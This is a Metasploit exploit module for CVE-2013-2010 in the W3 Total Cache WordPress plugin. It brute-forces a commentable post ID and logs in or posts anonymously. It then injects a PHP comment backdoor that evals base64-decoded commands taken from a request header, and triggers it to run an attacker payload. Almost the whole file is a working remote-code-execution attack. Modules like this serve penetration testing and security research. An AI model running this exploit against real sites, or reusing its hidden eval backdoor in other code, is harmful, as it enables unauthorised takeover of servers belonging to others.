##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpClient

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress W3 Total Cache PHP Code Execution',
        'Description' => %q{
          This module exploits a PHP Code Injection vulnerability against WordPress plugin
          W3 Total Cache for versions up to and including 0.9.2.8.  WP Super Cache 1.2 or older
          is also reported as vulnerable.  The vulnerability is due to the handling of certain
          macros such as mfunc, which allows arbitrary PHP code injection.  A valid post ID is
          needed in order to add the malicious comment.  If the POSTID option isn't specified,
          then the module will automatically find or bruteforce one.  Also, if anonymous comments
          aren't allowed, then a valid username and password must be provided.  In addition,
          the "A comment is held for moderation" option on WordPress must be unchecked for
          successful exploitation.  This module has been tested against WordPress 3.5 and
          W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
        },
        'Author' => [
          'Unknown', # Vulnerability discovery
          'juan vazquez', # Metasploit module
          'hdm', # Metasploit module
          'Christian Mehlmauer' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-2010' ],
          [ 'OSVDB', '92652' ],
          [ 'BID', '59316' ],
          [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
          [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
          [ 'WPVDB', '6622' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [ ['Wordpress 3.5', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-04-17',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
        OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
        OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
        OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
      ]
    )
  end

  def post_auth?
    require_auth?
  end

  def require_auth?
    @user = datastore['USERNAME']
    @password = datastore['PASSWORD']

    if @user and @password and not @user.empty? and not @password.empty?
      return true
    else
      return false
    end
  end

  def post_comment(text)
    php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"

    if @auth
      uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
    else
      author = rand_text_alpha(8)
      author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
      author_url = rand_text_alpha(8)
      uri = wordpress_post_comment_no_auth(php_payload,
                                           @post_id,
                                           author,
                                           author_email,
                                           author_url)
      @unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
    end
    uri
  end

  def exploit
    unless wordpress_and_online?
      fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
    end

    @auth = require_auth?

    if @auth
      print_status("Trying to login...")
      @cookie = wordpress_login(@user, @password)
      if @cookie.nil?
        fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
      end
      print_good("Login Successful")
      store_valid_credential(user: @user, private: @password, proof: @cookie)
    else
      print_status("Trying unauthenticated exploitation...")
    end

    if datastore['POSTID'] and datastore['POSTID'] != 0
      @post_id = datastore['POSTID']
      print_status("Using the user supplied POST ID #{@post_id}...")
    else
      print_status("Trying to get posts from feed...")
      all_posts = wordpress_get_all_blog_posts_via_feed
      # First try all blog posts provided by feed
      if all_posts
        all_posts.each do |p|
          vprint_status("Checking #{p}...")
          enabled = wordpress_post_comments_enabled?(p, @cookie)
          @post_id = get_post_id_from_body(enabled)
          if @post_id
            print_status("Found Post POST ID #{@post_id}...")
            break
          end
        end
      end
      # if nothing found, bruteforce a post id
      unless @post_id
        print_status("Nothing found. Trying to brute force a valid POST ID...")
        min_post_id = datastore['MIN_POST_ID']
        max_post_id = datastore['MAX_POST_ID']
        @post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
        if @post_id.nil?
          fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
        else
          print_status("Using the brute forced POST ID #{@post_id}...")
        end
      end
    end

    random_test = rand_text_alpha(64)
    @sum = Rex::Text.sha1(random_test)

    print_status("Injecting the PHP Code in a comment...")
    text = Rex::Text::rand_text_alpha(10)
    post_uri = post_comment(text)
    if post_uri.nil?
      fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
    end

    print_status("Executing the payload...")
    options = {
      'method' => 'GET',
      'uri' => post_uri,
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded),
        'Sum' => random_test
      }
    }
    options.merge!({ 'cookie' => @cookie }) if @auth
    # Used to see anonymous, moderated comments
    options.merge!({ 'cookie' => @unauth_cookie }) if @unauth_cookie
    res = send_request_cgi(options)
    if res and res.code == 301
      fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
    end

    if res and !res.body.match(/#{Regexp.escape(text)}/)
      fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
    end
  end

  def check
    res = wordpress_and_online?
    unless res
      vprint_error("#{peer} does not seeem to be Wordpress site")
      return Exploit::CheckCode::Unknown
    end

    if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
      version = $1
      if version <= "0.9.2.8"
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    end

    if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end
end
